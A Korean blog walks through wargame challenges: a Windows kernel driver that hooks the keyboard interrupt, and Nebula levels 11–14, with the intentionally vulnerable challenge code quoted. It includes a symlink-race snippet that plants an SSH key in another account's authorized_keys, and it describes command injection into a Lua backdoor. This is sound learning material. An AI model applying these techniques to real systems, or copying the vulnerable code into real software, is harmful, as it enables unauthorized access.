달력

4

« 2024/4 »

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

이번 문제는 윈도우 커널과 관련있는 문제이다 .


윈도우 커널 쪽 분석은 시도한 적도 없고 굉장히 생소해서 신선한 경험을 해볼 수 있었다. 

이 문제는 키보드를 후킹하는 드라이버 파일을 분석하여 문제를 푸는 것이다. 문제를 푼 지금도 드라이버 동작 과정이나 커널 내부 동작 과정이 정확히는 그려지지 않고 아 이런식으로 동작하겠구나 정도로 겉핥기식 개념만 잡은 것 같다. 이 문제를 계기로 윈도우 커널쪽도 좀 더 공부해봐야 겠다.


그럼 문제풀이를 시작해보겠다. 



문제를 다운로드 받아서 풀면 위와 같이 3개의 파일로 구성되어 있다. 

아래는 ReadMe 파일인데 인증을 소문자로 해달라고 부탁하고 있다. 



일단 문제를 동작시켜 보았다. 맨 처음엔 비활성화 된 입력란이었지만 옆에 버튼을 누르면 활성화가 되면서 문자를 입력할 수 있게 변경된다. 문자열을 입력하고 Check를 클릭하면 내가 입력한 값이 맞았는지 틀렸는지 확인할 수 있다. 




우선 WindowsKernel.exe 파일은 SCM을 이용하여 드라이버를 로드시키고 있다. SCM을 이용하면 레지스트리 키가 생성되며 드라이버는 페이징되지 않는다. 아래 캡쳐는 로드되는 부분의  과정 중 일부이다. 



위 과정 중 StartService 함수를 만나면 아래와 같이 드라이버가 로드된다. 이는 Winker.sys 드라이버에 삽입된 디버깅 메시지이다. 



일단 WindowsKernel.exe 에서 DeviceIoControl 함수를 통해 디바이스 드라이버에 IRP 처리를 요청할 수 있다. 드라이버는 특정 IRP 요청에 맞춰 IRP를 처리할 수 있게 설계할 수 있다. 이는 드라이버 오브젝트의 MajorFunction을 수정하는 것으로 가능하다. DeviceIoControl 함수로 IRP 요청을 보낼 경우 IRP_MJ_DEVICE_CONTROL 에 설정된 함수에서 이를 처리하게 된다. 아래 캡쳐는 그 과정을 보여준다. 



위에서는 CREATE, CLOSE, DEVICE_CONTROL과 관련된 Major Function을 초기화해주고 있다. 실제 DEVICE_CONTROL 함수 쪽 내부를 따라 들어가면 몇몇 변수를 초기화해준다. 


그리고 이 문제를 풀기 위해 다른 중요한 개념은 DPC이다. 

원래는 여기에서 주저리 주저리 설명을 하려했는데 지저분하고 흐름을 끊어버리는 것 같아서 다음에 시간을 내서 별도로 작성하도록 하겠다. 



위에 있는 내용은 DPC 객체를 초기화하는 과정이다. EDI 레지스터에 KeInitalizeDpc 함수의 주소가 들어있다. 여기서 설정된 루틴이 이후에 해답을 찾을 때 매우매우 중요한 역할을 한다. 일단 이 부분에서는 초기화만 하고 지나간다. 



이후 흐름을 따라 내려가다보면 다시 한번 DPC 객체를 초기화하고 이를 큐에 삽입한다. 여기서 삽입된 DPC 루틴은 IDT의 키보드 관련 ISR을 후킹한다. 여기까지 왔으면 거의 다 푼거나 마찬가지다. 해당 루틴이 실행되고 나면 아래와 같이 IDT가 변경된다. 



해당 부분을 분석해보면 READ_PORT_UCHAR 함수를 이용하여 키보드가 입력할 때마다 값을 가져오고 이 값을 비교한다. 해당 함수를 통해 입력한 문자를 확인하면 보통 아스키코드 값이랑은 다르다. 어떤 의미인지 정확히는 모르겠지만 이 값을 이용하여 비교문을 잘 통과하면 답을 얻을 수 있다. 






:
Posted by einai

※ LEVEL 13


Q. There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
 
#define FAKEUID 1000
 
int main(int argc, char **argv, char **envp)
{
  int c;
  char token[256];
 
  if(getuid() != FAKEUID) {
      printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
      printf("The system administrators will be notified of this violation\n");
      exit(EXIT_FAILURE);
  }
 
  // snip, sorry :)
 
  printf("your token is %s\n", token);
  
}
cs


A. 이는 간단한 리버싱 문제이다. "// snip, sorry : )" 라고 표시되어 삭제된 코드 부분을 맞추는 문제이다. 


위의 14번째 라인만 우회하면 토큰 생성 로직으로 넘어가게 되는데 어셈블리어를 스스로 분석해도 되고 그냥 넘어가도 알아서 토큰이 생성되어 출력되므로 뭐 편할대로 하면된다. 간단하니까 별도 설명없이 캡쳐만 첨부하도록 하겠다. 


[그림 1] 로직 우회 후 토큰이 생성되는 것을 확인


[그림 2] 토큰 값을 패스워드로 사용하여 로그인 




※ LEVEL 14


Q. This program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :)


A. 이는 토큰 파일에 암호화되어 있는 문자열을 복호화하는 문제이다. 이 또한 굉장히 단순한 리버싱 문제이다. 


[그림 3] 토큰 값 확인 


[그림 4] 프로그램을 실행하여 암호화 로직 확인 


보는 바와 같이 굉장히 간단한 암호(?)화 방식이다. 실행 방식만 봐도  규칙을 알 수 있다. 문자열 인덱스 값을 문자 아스키코드에 더해 나오는 방식이다. 그럼 뭐 간단히 코드를 짜서 복호화해도 되고 얼마 안되니 수동으로 해도 되고.. 


[그림 5] 토큰 값 확인 


[그림 6] 플래그 확인 



이번 두 문제는 오히려 이전 레벨보다도 너무나 쉬웠다.

이런 문제들도 가끔 나와야지 ~ ㅋ






:
Posted by einai

※ LEVEL 11


Q. The /home/flag11/flag11 binary processes standard input and executes a shell command.

There are two ways of completing this level, you may wish to do both :-)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
 
/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */
 
int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;
 
  srandom(time(NULL));
 
  tmp = getenv("TEMP");
  pid = getpid();
  
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));
 
  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}
 
void process(char *buffer, int length)
{
  unsigned int key;
  int i;
 
  key = length & 0xff;
 
  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }
 
  system(buffer);
}
 
#define CL "Content-Length: "
 
int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;
 
  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1"reading from stdin");
  }
 
  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1"invalid header");
  }
 
  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1"fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;
 
      fd = getrand(&path);
 
      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);
 
          pink = fread(buf, 1sizeof(buf), stdin);
          printf("pink = %d\n", pink);
 
          if(pink <= 0) {
              err(1"fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);
 
          blue -= pink;
      }    
 
      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1"mmap");
      }
      process(mem, length);
  }
 
}
cs


A. 이 문제의 흐름 자체는 복잡하지 않은데 답을 얻기 위해선 조금 센스가 필요해보인다. 

물론, 나는 그 센스가 없었다 ... ㅠㅠ


우선 이 문제를 풀기 위해서 접근할 방식은 내가 입력한 크기가 1024 바이트가 넘어 else 구문으로 도달하도록 할 것이다. 흐름을 간단히 정리해보면 아래와 같다. 


1. 비교 구문을 우회하기 위한 값 입력

Content-Length: 2048


2. flag11 계정의 권한을 얻기 위해 flag11 계정의 .ssh 디렉토리에 Level11 계정의 공개키를 복사하기 위해 이전에 Level 05 문제에서 나왔던 ssh 직접 접속 기능을 사용할 것이다. 


3. 무작위로 생성되는 경로 예측 

TEMP 환경변수와 PID, random 함수의 결과 값의 조합으로 생성되는 경로를 예측한다. 


4. 예측한 경로에 심볼릭 링크를 생성 한 후 2번에서 생성한 값을 전송

말 그대로, 값을 전달한다. 


5. level11 계정으로 flag11 계정에 ssh로 로그인한다. 

ssh flag11@nebula 



그럼 작성한 코드와 캡쳐를 이용하여 간단한 설명 들어가겠다. 


[그림 1] 비대칭키 생성


ssh 접속에 사용될 비대칭키 쌍을 생성한다. 이는 이후에 flag11 홈디렉토리 이하 .ssh/authorized_keys로 저장될 것이다. 여기까지 준비가 되었다면 문제를 풀기 위한 핵심 로직(?)을 봐보도록 하겠다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int getrand(char **path, int pid, int time)
{
char *tmp;
int fd =  0;
 
srandom(time);
 
tmp = getenv("TEMP");
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
  'A' + (random() % 26), '0' + (random() % 10),
  'a' + (random() % 26), 'A' + (random() % 26),
  '0' + (random() % 10), 'a' + (random() % 26));
  return fd;
}
 
 
pid = getpid()+1;
 
getrand(&path, pid, time(NULL));
symlink("/home/flag11/.ssh/authorized_keys",path);
cs


여기에서 추측해야 하는 건 문제에서 생성하는 랜덤한 경로(random 함수의 결과 값과 PID)이다. random 함수의 경우 seed 값이 동일하다면 반환하는 값이 동일할 것이고, PID의 경우 파이프라인을 이용하여 값을 전달할 때 현재의 프로세스에서 1을 더한 값으로 나타난다고 한다. 이러한 과정들이 위 코드에서 1번 라인부터 20번 라인에 해당한다.


[그림 2] 로그인 성공 


문제를 봐보면 이 문제의 답을 풀 수 있는 방법이 2가지로 하였는데 어디를 찾아봐도 두 가지를 찾을 순 없었다. 문제가 간단해보이면서도 답을 얻기가 어려웠다. 일단 내가 발견한 해답은 이것 뿐이었다.




※ LEVEL 12


Q. There is a backdoor process listening on port 50001.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1"50001))
 
function hash(password)
  prog = io.popen("echo "..password.." | sha1sum""r")
  data = prog:read("*all")
  prog:close()
 
  data = string.sub(data, 140)
 
  return data
end
 
 
while do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
      print("trying " .. line) -- log from where ;\
      local h = hash(line)
 
      if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
          client:send("Better luck next time\n");
      else
          client:send("Congrats, your token is 413**CARRIER LOST**\n")
      end
 
  end
 
  client:close()
end
cs


A. 이는 단순하게 명령어 인젝션으로 해결할 수 있었다.

명령어를 인젝션해서 플래그 값을 얻거나 패스워드 검증 로직을 우회할 수 있다.


아래는 패스워드 검증 로직을 우회하는 부분이다. 


[그림 3] 패스워드 검증 로직 우회





워게임은 센스도 필요하고 기반 지식도 필요하고~

한 문제에 오래 매달리자니 다른 공부가 안되고, 적당히 하고 해답을 보자니 뭔가 허무하고. 

이 간격을 조절하는 게 어렵넹 ㅠㅠ


욕심부리지 말고 천천히 가자 천천히~ 꾸준히 ~ 




Reference

[1] graugans/nebula-level11.md, https://gist.github.com/graugans/88e6f54c862faec8b3d4bf5789ef0dd9


:
Posted by einai